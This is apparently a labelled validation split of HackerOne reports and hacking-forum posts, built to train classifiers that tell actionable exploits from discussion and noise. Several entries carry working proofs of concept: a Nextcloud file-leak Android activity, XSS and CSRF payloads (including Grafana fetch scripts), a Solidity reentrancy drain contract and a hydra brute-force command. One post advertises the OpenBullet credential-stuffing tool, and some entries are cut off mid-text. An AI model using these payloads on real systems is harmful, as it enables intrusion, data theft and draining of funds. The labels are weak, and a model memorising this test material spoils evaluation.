-{"id": "3d0d4eb362c5f1addf71", "text": "[Path Traversal] Access to arbitrary file of the Nextcloud Android app from within the Nextcloud Android app\n\n## Summary:\nThe Android client of nextcloud (com.nextcloud.client) allows arbitrary file including protected/private files to be leaked through the file upload functionality.\n\n## Steps To Reproduce:\nA report [1142918 ](https://hackerone.com/reports/1142918) has been submitted for the vulnerability of leaking arbitrary protected files. NextCloud added [a fix](https://github.com/nextcloud/android/pull/8433/commits/97d6f2954c879f3bfebcd241993147bced5fd50b) on May 18, 2021, which added a check to the class src/main/java/com/owncloud/android/files/services/FileUploader.java:\n```\n        if (file.getStoragePath().startsWith(\"/data/data/\")) {\n            Log_OC.d(TAG, \"Upload from sensitive path is not allowed\");\n            return;\n        }\n```\n\nThe fix checks whether a file to be uploaded has a path starting with \"/data/data\". However, the check is not sufficient. We can easily bypass this check using the path \"/data/user/0/\" e.g. \"/data/user/0/com.nextcloud.client/\".  A program to exploit this vulnerability can be:\n```\npublic class EvilActivity extends AppCompatActivity {\n    private static final String LOG_TAG = EvilActivity.class.getName();\n\n    final static String PRIVATE_URI = \"file:///data/user/0/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml\";\n\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n        Log.d(\"heen\", \"EvilActivity started!\");\n        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));\n        finish();\n    }\n}\n```\n\nA working POC is as follows:\n### 1. install and login nextcloud android client e.g. through the provider https://us.cloudamo.com\n### 2. create a directory and set it 'shareable'\n### 3.install the POC app with the program above\n### 4. Navigate to the shareable directory in the step2, click '+', then choose \"upload content from other apps\"\n### 5. Select \"poc\" then protected file will be uploaded to the shared folder, which is publicly shared and leaked.\n\n## Supporting Material/References:\nA sample screenshot with protected files uploaded and their content is:\n{F1523976}\n{F1523979}\n\n  * [attachment / reference]\nSee attachments above\n\n## Impact\n\nArbitrary sensitive file of the nextcloud android client can be leaked. To address this issue, disallow any file whose path has the package name but isn't in the temp or cache folder of nextcloud. \n\nPlease investigate. Thanks.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c746e53ca24586afc88f", "text": "[Information Disclosure] Tor IP leak caused by the PDF Viewer extension in certain situations\n\n## Summary:\nWeb requests made by browser extensions in the Tor profile aren't proxied if the user didn't load any HTTP/HTTPS website in a Tor window since the browser first launched.\n\nThis wouldn't really be a problem because extensions can't be used in Tor windows. However, Brave has some built-in extensions (Brave, Brave Rewards, Brave WebTorrent, PDF viewer) that also run in Tor mode. This last one can cause problems.\n\nIf:\n- The user didn't visit any HTTP/HTTPS page with Tor in that browser session.\n- The user goes to `chrome-extension://oemmndcbldboiebfnladdacbdfmadadm/pdf-url` in a Tor window.\n\nThen the server hosting `pdf-url` will get the real IP address of the user, even tho the PDF was loaded in a Tor window.\n\nThis happens because the PDF viewer extension requests the PDF as an AJAX request, and as mentioned before, requests aren't proxied until an HTTP/HTTPS address is loaded with the address bar in a Tor window (or you \"duckduckgo\" something).\n\n## Products affected: \nThis was tested in the most recent versions of Brave Stable & Dev, in a Windows 10 PC.\nStable: 0.65.118 Chromium: 75.0.3770.80 (Official Build) (64-bit) \nDev: 0.67.77 Chromium: 75.0.3770.80 (Official Build) dev (64-bit)\n\n## Steps To Reproduce:\n1. Close Brave normally.\n2. Make sure Brave is actually closed (if the Brave icon is in the Windows toolbar, right click it and press exit. You can also use task manager to kill the processes).\n3. Open Brave again.\n4. Open a Tor window. Don't open any website in the Tor window before step 5.\n5. Go to this URL:  `chrome-extension://oemmndcbldboiebfnladdacbdfmadadm/http://ip-pdf.glitch.me/ `. The request to glitch.me won't be proxied with Tor - you'll see the PDF returned by it will include your real IP address.\n6. (optional) Load a website in the Tor window as a new tab (e.g. duckduckgo.com).\n7. (optional) Refresh the PDF. You'll see the request to get the PDF is now proxied, because an HTTP website has been loaded.\n\n## Supporting Material/References:\n\nNode JS server for ip-pdf (source): https://glitch.com/~ip-pdf\n\n## Impact\n\nAll HTTP/HTTPS requests, AJAX or not, are supposed to be proxied in Tor windows. This doesn't happen in this situation, leading to an IP leak.\nHowever, the severity isn't high because certain conditions must be met for this to happen.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "96b39817c9155ad1c702", "text": "stuck on the very last steps. I have literraly everything , the username , the password list , but it doesn’t work. it’s so annoying and not fun Edit: just solved it , it takes literraly more than 20 minutes to bruteforce it with 4 threads. boring. dont waste more time on it : hydra -l [user you found] -P [hint] -u -f ftp://127.0.0.1 -t 4", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f83412173e403051dc48", "text": "[Double Free] CVE-2022-42915: HTTP proxy double-free\n\nThis is a finding that Trail of Bits found in their ongoing curl security audit. Reported at a status meeting today.\n\n## Summary:\n\ncurl frees memory twice in some cleanup function related to HTTP proxies.\n\nIt as simple as `curl -x http://localhost:80 dict://127.0.0.1`\n\nUsing valgrind on the current git master, it shows:\n\n==55921== Memcheck, a memory error detector\n==55921== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.\n==55921== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright info\n==55921== Command: ./src/curl -x http://localhost:80 dict://127.0.0.1\n==55921== Parent PID: 3035\n==55921== \n==55921== Invalid free() / delete / delete[] / realloc()\n==55921==    at 0x484617B: free (vg_replace_malloc.c:872)\n==55921==    by 0x152464: curl_dbg_free (memdebug.c:297)\n==55921==    by 0x17E11C: Curl_free_request_state (url.c:2259)\n==55921==    by 0x179B38: Curl_close (url.c:421)\n==55921==    by 0x1482DD: curl_easy_cleanup (easy.c:799)\n==55921==    by 0x1359F4: post_per_transfer (tool_operate.c:657)\n==55921==    by 0x13D085: serial_transfers (tool_operate.c:2431)\n==55921==    by 0x13D5FC: run_all_transfers (tool_operate.c:2617)\n==55921==    by 0x13D972: operate (tool_operate.c:2729)\n==55921==    by 0x13427C: main (tool_main.c:276)\n==55921==  Address 0x5b1c790 is 0 bytes inside a block of size 984 free'd\n==55921==    at 0x484617B: free (vg_replace_malloc.c:872)\n==55921==    by 0x152464: curl_dbg_free (memdebug.c:297)\n==55921==    by 0x17AE5E: conn_free (url.c:810)\n==55921==    by 0x17B132: Curl_disconnect (url.c:893)\n==55921==    by 0x15D523: multi_runsingle (multi.c:2614)\n==55921==    by 0x15D7B6: curl_multi_perform (multi.c:2683)\n==55921==    by 0x147FFB: easy_transfer (easy.c:663)\n==55921==    by 0x14822C: easy_perform (easy.c:753)\n==55921==    by 0x148276: curl_easy_perform (easy.c:772)\n==55921==    by 0x13D064: serial_transfers (tool_operate.c:2429)\n==55921==    by 0x13D5FC: run_all_transfers (tool_operate.c:2617)\n==55921==    by 0x13D972: operate (tool_operate.c:2729)\n==55921==  Block was alloc'd at\n==55921==    at 0x48485EF: calloc (vg_replace_malloc.c:1328)\n==55921==    by 0x1521A6: curl_dbg_calloc (memdebug.c:175)\n==55921==    by 0x1BEC8F: connect_init (http_proxy.c:174)\n==55921==    by 0x1C02C2: Curl_proxyCONNECT (http_proxy.c:1061)\n==55921==    by 0x1BEA43: Curl_proxy_connect (http_proxy.c:118)\n==55921==    by 0x1B67D4: Curl_http_connect (http.c:1551)\n==55921==    by 0x15C03A: multi_runsingle (multi.c:2027)\n==55921==    by 0x15D7B6: curl_multi_perform (multi.c:2683)\n==55921==    by 0x147FFB: easy_transfer (easy.c:663)\n==55921==    by 0x14822C: easy_perform (easy.c:753)\n==55921==    by 0x148276: curl_easy_perform (easy.c:772)\n==55921==    by 0x13D064: serial_transfers (tool_operate.c:2429)\n==55921== \n==55921== \n==55921== HEAP SUMMARY:\n==55921==     in use at exit: 0 bytes in 0 blocks\n==55921==   total heap usage: 4,712 allocs, 4,713 frees, 893,816 bytes allocated\n==55921== \n==55921== All heap blocks were freed -- no leaks are possible\n==55921== \n==55921== For lists of detected and suppressed errors, rerun with: -s\n==55921== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)\n\n## Impact\n\nDouble-free is nasty", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-42915"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "31d86039f36159fb669c", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS in https://███████ via hidden parameter \"████████\"\n\nHi everyone :)\n\nI found a Reflected XSS on https://███████ via hidden parameter \"████████\" on the following authentication page : https://███████/██████████\n\n\n## Steps To Reproduce:\n\n- Use your favorite web browser\n- Go to : \n```\nhttps://███████/███████&███=TEST%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%27)%3C/script%3E\n```\n\nAn XSS is triggered !\n\nThe initial page was https://█████████/█████████\n\nWith a little research, you can find a hidden parameter \"████████\" which is directly reflected in the source code **without sanitize user entries**. Then just close the tag and inject our malicious code.\n\n## Supporting Material/References:\nWork on every browser (Firefox, Chrome ..)\n\n## Suggested Mitigation/Remediation Actions\n\n- Never trust user inputs, and therefore sanitize them.\n- If the parameter \"███\" is useless in this page and in the authentication process, then it should be deleted.\n\n## Impact\n\nThe damages of a reflexive XSS flaw are numerous: executing malicious javascript code, phishing, defacing ... We can also inject HTML code and mislead the user when displaying the web page.\n\nFrom [OWASP](https://owasp.org/www-community/attacks/xss/) :\n\n>Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f9ef2e4aa70d3fa928dd", "text": "[Unknown] Triager/Team members can edit  hacker's report and hacker is not even notified\n\n**Summary:**\n\nHi Team\nI have created a dummy program and I noticed that Triager/Team member can edit hacker's report.\n**If you say this is a feature for the team, there should be a mechanism to ask permission  from hacker to edit the report **\n\n### Steps To Reproduce\n\n1.  Create a dummy report\n2.  Open the report as team member\n3.  You will see a edit option near hacker's report\n4.  Using that option edit the report\n\n█████\n\n## Impact\n\nA triager/team member may edit hacker's report which highly impact the integrity of the report as there is no way hacker can proof that whether his submitted report was edited or not as you can see I have changed the whole content of the report and it also not notifying that the report has been updated", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "99b2c767c7238e6271d6", "text": "[Unknown] CVE-2023-42663: Apache Airflow: Bypass permission verification to view task instances of other dags\n\nApache Airflow, versions before 2.7.2, has a vulnerability that allows an authorized user who has access to read specific DAGs only, to read information about task instances in other DAGs.\n\n#Steps to reproduce :\n1. Copy a User role, name it roleA, and remove the \"can read on DAGs\" \"can delete on DAGs\" \"can edit on DAGs\" permissions.Add \"can read on DAG:tutorial\" permissions\n{F2771458}\n\n2. Create a user named test and assign RoleA to it.\n{F2771447}\n\n3. Log in to the test account, we can only see the DAG named tutorial.Can't see task instances from other DAGs either.\n{F2771449}\n{F2771451}\n\n4. Use burpsuite to send the following message, and you can see the task instances of other DAGs. (replaced with the session of the test account)\n```\nPOST /api/v1/dags/~/dagRuns/~/taskInstances/list HTTP/1.1\nHost: testvul.com:8080\nAccept: application/json\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\ncontent-type: application/json\nReferer: http://testvul.com:8080/dags/example_external_task_marker_parent/grid\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nCookie: session=3d17f3fe-e02b-4f16-88f1-fd59e299ae0c.a4kyHK7of13T0NtbCVVmPgFtSDU\nConnection: close\nContent-Length: 2\n\n{}\n```\n\n{F2771461}\n\n\n**Security Advisory**: https://lists.apache.org/thread/xj86cvfkxgd0cyqfmz6mh1bsfc61c6o9\n**Severity**: Low\n**Credit**: balis0ng\n\n## Impact\n\nIt allows an authorized user who has access to read specific DAGs only, to read information about task instances in other DAGs.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-42663"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "160abc4e96845fac6153", "text": "[Improper Authentication - Generic] many commands can be manipulated to delete identities or affiliations\n\n**Introduction:**\n\nThe Faric-ca  data in http body and authorization header for many commands that send from client to server are protected by signature.  \n\nBut I find the identity and affiliation commands still have the risk to be manipulated. Hacker can manipulate most other commands to delete identities or affiliations in a server (server start with –cfg.identities.allowremove and –cfg.affiliations.allowremove). \n\nExample 1: Manipulating list an identity command to delete any identity or affiliation. \n{F294541}\nnormal list identity command\n\nyou can manipulate it:\n\n{F294542}\nManipulate the list command to delete command\n\nIf a hacker gets the request http data (maybe by sniffer), he can manipulate the GET method to DELETE method, and change the admin3 identity to any other valid identity in the server, he can delete it. \n\n\nExample 2: Manipulating add an identity command to delete an identity or affiliation. \n{F294543}\nnormal add an identity command\n\nyou can manipulated:\n{F294544}\nManipulate the add identity command to delete an identity\n\nor you can manipulated as:\n{F294545}\nManipulate the add identity command as delete an affiliation command\n\n\nActually, you can also manipulate other commands by this way. Such as: enroll, revoke,register… and so on. \n\n\n\n**Analysis:**\n\nThe authentication and authorization checking just covers the Authorization header and body, \nbut the code for deleting identity and affiliation gets the identity value and affiliation value from **url path**. They are not protected by signature. And you can manipulate the method from other to DELETE.  \n\n**DELETE** /affiliations/**org1.dep2**?force=true HTTP/1.1\n**DELETE** /identities/**admin2** HTTP/1.1\n\n## Impact\n\nIf a hacker get any of the normal request data by some way (maybe by network sniffer), he can delete all identities or affiliations.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8594d06d02e8cad5f5f3", "text": "[Cross-site Scripting (XSS) - Reflected] Open Akamai ARL XSS at ████████\n\n## Summary\nThere is Open Akamai ARL XSS at ████\n\n## Proof-of-Concept\nhttps://█████████/7/0/33/1d/www.citysearch.com/search?what=Binit&where=Binit%22%3E%3Cimg%20src%3Dbinit%20onerror%3Dalert%28document.domain%29%3E\n\n## References:\n- https://github.com/war-and-code/akamai-arl-hack\n- https://twitter.com/SpiderSec/status/1421176297548435459\n- https://warandcode.com/post/akamai-arl-hack/\n- https://github.com/cybercdh/goarl\n- https://community.akamai.com/customers/s/article/WebPerformanceV1V2ARLChangeStartingFebruary282021?language=en_US\n\n## Impact\n\nAttackers can execute malicious JavaScript code in the target webpage.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nhttps://██████/7/0/33/1d/www.citysearch.com/search?what=Binit&where=Binit%22%3E%3Cimg%20src%3Dbinit%20onerror%3Dalert%28document.domain%29%3E\n\n## Suggested Mitigation/Remediation Actions\nVisit\n- https://community.akamai.com/customers/s/article/WebPerformanceV1V2ARLChangeStartingFebruary282021?language=en_US", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6583e6f40e4bdf3c9992", "text": "I could need help as well. I found flag 4 and upgraded my Shell to a fully interactive shell. I also checked commands I can execute with sudo without password and tried to exploit the command. Is this the right way? I did not really find useful hints from the internet.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7b38f29160d4e85df734", "text": "[Improper Access Control - Generic] Reentrancy attack in eth-monero atomic swap\n\n## Summary:\nI have found a reentrancy vulnerability  in the eth-xmr atomic swap's smart contract that has been built by noot and has been founded by Monero CSS proposal. This will allow the attacker to drain almost all of the ethers from the smart contract. Due to technical reasons, there will remain only 1 ether in the smart contract.\n\nHowever, this is the code published in the github of noot. I haven't found any smart contract that has implemented this code. Therefore, I have tagged it with low severity. I am not an active member of monero community, therefore, I don't really know if this feature is actually used and how much. \nI have found smart contract that could be used for atomic swap between eth-xmr, but it hasn't got this vulnerability. For the address of this smart contract, please check section ##How I have found about this\n\n\n## Steps To Reproduce:\nThe attack occurs in the SwapFactory.sol smart contract\n  1. Deploy the smart contract bellow that will act as the attacker. When deploying, you have to initialize 5 variables in the constructor.\n     * _swapFactoryAddress => the address of the deployed smart contract that we are attacking\n    *  pubKeyRefund_ => enter the public key you have from the eliptic curve\n    *  claimer_  => it is already initialize to the attacker's smart contract address\n    *  timeoutDuration_ => how much time it must pass before we can refund\n    *  nonce_ => a unique identifier\n\ncontract Attack {\n    SwapFactory public factory;\n\n     bytes32 public pubKeyRefund;\n     address public payable claimer;\n     uint256 public timeoutDuration;\n     uint256 public nonce;\n\n     //storing the refund's parameters\n     tuple refundsSwap;\n     bytes32 refundssecret;\n\n    constructor(\n              address _swapFactoryAddress, \n              bytes32 pubKeyRefund_,\n              uint256 timeoutDuration_,\n              uint256 nonce_\n              ) {\n        factory = SwapFactory(_swapFactoryAddress);\n        pubKeyRefund  = pubKeyRefund_;\n        claimer = address(this);\n        timeoutDuration = timeoutDuration_;\n        nonce = nonce_;\n    }\n\n    //Create a new swap\n    function createSwap() public payable {\n         factory.new_swap(pubKeyRefund, claimer, timeoutDuration, nonce)\n    }\n\n     //Create a new swap\n    function initializeReady(tuple _swap) public {\n         factory.set_ready(_swap)\n    }\n\n    //Initialize the variables that will be used as parameters for the refund\n    function initializeRefundsParameters(tuple _refundsSwap, bytes32 _refundsSecret) public {\n        refundsSwap = _refundsSwap;\n        refundsSecret = _refundsSecret;\n    }\n\n    // Fallback is called when SwapFactory sends Ether to this contract.\n    fallback() external payable {\n       if (address(factory).balance >= 1 ether) {\n          factory.refund(refundsSwap, refundsSecret);\n       }\n    }\n\n    function attack() external payable {\n        factory.refund(refundsSwap, refundsSecret);\n    }\n\n    // Helper function to check the balance of this contract\n    function getBalance() public view returns (uint) {\n        return address(this).balance;\n    }\n}\n\n2. Call the createSwap(). This will call  the SwapFactory's new_swap() with the parameters we have initialized when deploying the Attack smart contract\n3. Call the initializeReady(). This will call  the SwapFactory's set_ready(). You have to put in correct address.\n4. Call initializeRefundsParameters(). This will initialize 2 variables that we are going to use when calling SwapFactory's refund(). Make sure you pass 2 correct parameters. You do this before deploying the Attack smart contract.\n5. Call the attack() \n6. This will call the SwapFactory's refund()\n7. refund() has 3 requirement statements that we need to pass:\n    *  require(swapStage != Stage.COMPLETED && swapStage != Stage.INVALID, \"swap is already completed\");\n     It will pass, because we have called the set_ready(), which will set the swap to READY\n    *require(msg.sender == _swap.owner, \"refund must be called by the swap owner", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9de547c0d7039a9b84e0", "text": "[Cross-Site Request Forgery (CSRF)] 0-day Cross Origin Request Forgery vulnerability in Grafana 8.x .\n\n## Disclaimer\n\nTo triage, please note that this is still a 0-day that was alerted to Grafana already, in order to make sure the client is safe I report this issue now, please make sure to not spread it further or leak it, as the best interest is to let you be aware and safer from any potential attacks in the meantime.\n\n## Description\n\n@jub0bs and I have found a cross-origin request forgery attack issue in the Grafana instances hosted on the Aiven platforms (CVE-2022-21703, which is still a 0-Day CVE on Grafana) . \nWith the cross-origin request forgery attack it's possible for an attacker to successfully mount cross-origin request forgery attack against authenticated victims of other grafana instances hosted on `*.aivencloud.com`.\n\n## Exploitation\n\nSo here is the attack story an example user John Doe runs a grafana instance at `https://johndoe.aivencloud.com`.\nAn attacker will deploy his own grafana instance at `https://attacker.aivencloud.com`, this attacker's instance would host a malicous html file with a javascript payload, that will trigger the cross-origin request forgery attack against John Doe while he is logged into `https://johndoe.aivencloud.com` .\n\nNow thanks to this attack all POST / GET requests would work thanks to the cross-origin-request-forgery attack, the root cause of this is because grafana sets their auth cookie `grafana_session` to `SameSite=Lax; Secure` https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/\n\n## Attack Chain.\n\nThe attack chain is as follows;\n\n- Attacker would send a link to the victim.\n- When the victim clicks the link, victim will be forced into logging into the attackers grafana instance via login CSRF.\n- User would be redirected to a vulnerable SSRF endpoint on the attackers grafana instance, this endpoint would trigger cross-origin-request-forgery attack (CVE-2022-21703, which is still a 0-Day CVE on Grafana) to the victims grafana instance.\n- Attack is complete, now the CSRF would have triggered the following actions ;\n* force the victim to create a new user on the victims grafana instance.\n* force the victim to create a dashboard\n\n{F1588743}\n\n## Requirements.\n\n- three seperate web browser instances .\n- a http / https file server to host our payloads.\n- python2.\n- pip2.\n\n## Steps to Reproduce .\n\n1. Login into Aiven Console, at https://console.aiven.io, in a new browser instance let's call it B-1.\n2. On B1, create two new Grafana instance, name the first one attacker and the second victim, wait till it's up and running.\n\n{F1588761}\n\n3. Now click on the Grafana attacker instance in the Aiven Console, then head to the bottom of that page.\n\n{F1588762}\n\n{F1588760}\n\n4. Add the below advanced configurations;\n\n```\nallow_embedding\ncookie_samesite --> none\n```\n\n{F1588759}\n\nThen click the `Save advanced configuration` button.\n\n5. Open a new browser instance, call it B-attacker, log into the attacker grafana instance.\n\n{F1588758}\n\n6. On B-attacker, open up dev tools, then copy & note down the value of your grafana `grafana_session` cookie .\n\n{F1588757}\n\n7. Now its time to save our cross-origin-request-forgery payload .\n\n```html\n<html>\n  <head></head>\n  <body>\n<h1>cross-origin-request-forgery POC</h1>\n<div id=statusdiv></div>\n<script>\n\nvar victim_instance = \"<vic_instance>\";\n\nfunction log_status(msg) {\n  //status logger.\n  let com = document.getElementById('statusdiv')\n  com.innerHTML += \"<h2>\" + msg + \"</h2>\"\n}\n\nfunction dashboard_poc() {\n\tlog_status(\"[*] Creating Dashboard\")\n\tvar url = `${victim_instance}/api/dashboards/db`\n\tfetch(url,\n\t\t{\n\t\t\tmethod:\"POST\",\n\t\t\tmode:\"no-cors\",\n\t\t\tcredentials:\"include\",\n\t\t\theaders: {\n\t\t\t\t\"Content-Type\": \"text/plain; application/json\"\n\t\t\t},\n\t\t\tbody: JSON.stringify(\n\t\t\t\t{\n\t\t\t\t\t\"dashboard\": {\n\t\t\t\t\t\t\"title\": \"grafana_csrf_0_day\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t)\n\t\t})\n}\n\nfunction invite_poc() {\n\tlog_status(\"[*] Creating User\")\n\tvar url = `${victim_instance}/api/org/invites`\n\tfetch(url,\n\t\t{\n\t\t\tmethod:\"POST\",\n\t\t\tmode:\"no-cors\",\n\t\t\tcredentials:\"include\",\n\t\t\theaders: {\n\t\t\t", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-21703"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9a27d331a40e63be7b51", "text": "[Improper Access Control - Generic] Cross Origin Resource Sharing Misconfiguration\n\n## Description :-\nCross-Origin Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin. The CORS mechanism supports secure cross-origin requests and data transfers between browsers and servers.\n\n## Remediation :-\n\nTo mitigate the risk of CORS, we always recommend whitelisting your Access-Control-Allow-Origin instead of wildcarding. Using a \n\nwildcard prefix such as *.yoursite.com makes it more difficult for the attackers given they would need to find a vulnerability (such as \n\ncross-site scripting or cross-site request forgery) to issue the cross-origin request. However, it is frowned upon because it does not \n\nprovide the critical need-to-know security control. With whitelisting, the scope of your Access-Control-Allow-Origin will be limited to \n\nonly the sites that deal directly with your primary site or API and exclude any of your sites that do not.\n\n##Steps to Reproduce :-\n\n1. Open the Vulnerable URL : https://motorsport.tech/wp-json\n2.  Now intercept the request using burp suite or CURL and add one header like following :\nOrigin: https://evil.com (You can use anything as website.)\n3. In response headers you will notice following headers :\n\"\n```Access-Control-Allow-Origin: https://evil.com ```\n```Access-Control-Allow-Methods: OPTIONS,GET,POST,PATCH,DELETE ```\n```Access-Control-Allow-Credential: true ```\n\"\n4.  A malicious user can put his own domain or localhost as origin and capture the request.\n\n## Impact\n\nA CORS misconfiguration can leave the application at a high-risk of compromise resulting in an impact on the confidentiality and \n\nintegrity of data by allowing third-party sites to carry out privileged requests through your web site’s authenticated users such as \n\nretrieving user setting information or saved payment card data.\n\nOn the other hand, the risk is low for applications that deal with public data and require that resources are sent to other origins. \n\nThe configuration could be expected behaviour and it would need to be up to the penetration tester to identify the appropriate risk and \n\nthe organization to understand and mitigate, or accept the risk.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "583faae0039dd367b1c5", "text": "OpenBullet 2 V0.2.4\n\nInstall the Microsoft .NET 6 (desktop apps version) from Download .NET 6.0 Download Link : sitehunterus.blogspot.com OpenBullet 2 V0.2.4 Install the Microsoft .NET 6 ( desktop apps version ) from Download .NET 6.0 Download Here VirusTotal Password Unrar is 1 VirusTotal: virustotal.com VirusTotal VirusTotal Password Unrar is 1", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-09-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0808994fcf35892776cc", "text": "+1 for me. I tried ``` dpkg --list | wc --lines which gave me 748. Im not sure what the difference is.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "850e0cf09f2f45e8b15d", "text": "[Cross-Site Request Forgery (CSRF)] CSRF to delete a pet\n\n## Summary:\nThe ```/kisallataim/ANIMAL_ID/delete``` API endpoint at **myroyalcanin.hu** is vulnerable to Cross-Site Request Forgery attacks.\nThis vulnerability allows an attacker to delete a pet from the victim's account.\n\n(Sorry for my English, I'm French)\n\n## Proof-of-Concept (PoC)\n```html\n<html>\n  <body>\n    <form action=\"https://myroyalcanin.hu/kisallataim/ANIMAL_ID/delete\">\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n\n```\nYou have to replace **ANIMAL_ID** with the ID of the victim's pet you wish to delete.\n\n## Impact\n\nAn attacker can exploit this CSRF in order to delete the victim's pet.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9414e2ef609073bc5f17", "text": "I want to create a proxy server on sockets, ready-made solutions are unlikely to work because I already have a connection that is always open and which will receive raw requests like:CONNECT www.example.com:443 HTTP/1.1or**GET** /search?q=test HTTP/2Host: www.bing.comUser-Agent: curl/7.54.0Accept: */*To send raw requests via sockets I need to parse ip and port, even then I’m not sure it will work.Are there any solutions to make this work?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-08-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a3c0d88d0541f8eee7db", "text": "[Business Logic Errors] No rate limiting for Remove Account lead to huge Mass mailings\n\nName of the vulnerability:- No rate limiting for Remove Account lead to huge Mass mailings\n\nHlw Team\n\nI am a security researcher and I found this vulnerability in your website  Business Logic Errors\nhttps://hosted.weblate.org\n\n***Description :\n\nNo Rate Limit is a type of computer security vulnerability typically found in web applications. No Rate Limit  enables attackers to perform actions on the web application where the attacker can do signup creation, password reset or 2FA of other users. No Rate Limit vulnerability may be used by attackers to bypass access controls such & bruteforce tokens and passwords without any limiting of any requests. There should be protection on the web application for sensitive actions. Attackers send a high number of requests to perform desirable actions to get access to the application or accounts.\nNO RL effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.\n\n***Steps to Reproduce:\n\nStep 1-Go To This Link https://hosted.weblate.org/accounts/remove/\n\nStep 2- Intercept This Request In Burp And Forward Till You Found Your Number In\n \nStep 3- Now Send This Request To Intruder And Repeat It 250 Time By Fixing Any Arbitrary Payload Which Doesn't No Effect Request I Choose Accept-Language: en-US,en;q=0.$5$ and payload set null 250 and start attack\n\n***[attachment / reference] Video POC Attached below.\n\n***Remediation:\n\nI Will Recommend You To Add A ReCaptcha & Sort Of Something Which Requires Manual Human Interaction To Proceed Like You Can Add Captcha Like 2+2=___ so that it cannot be brute forced and you also can have a limit at the backend for particular number upto 5 times a day user can request Forget Password Email or Link something like that will prevent you from someone exploiting this 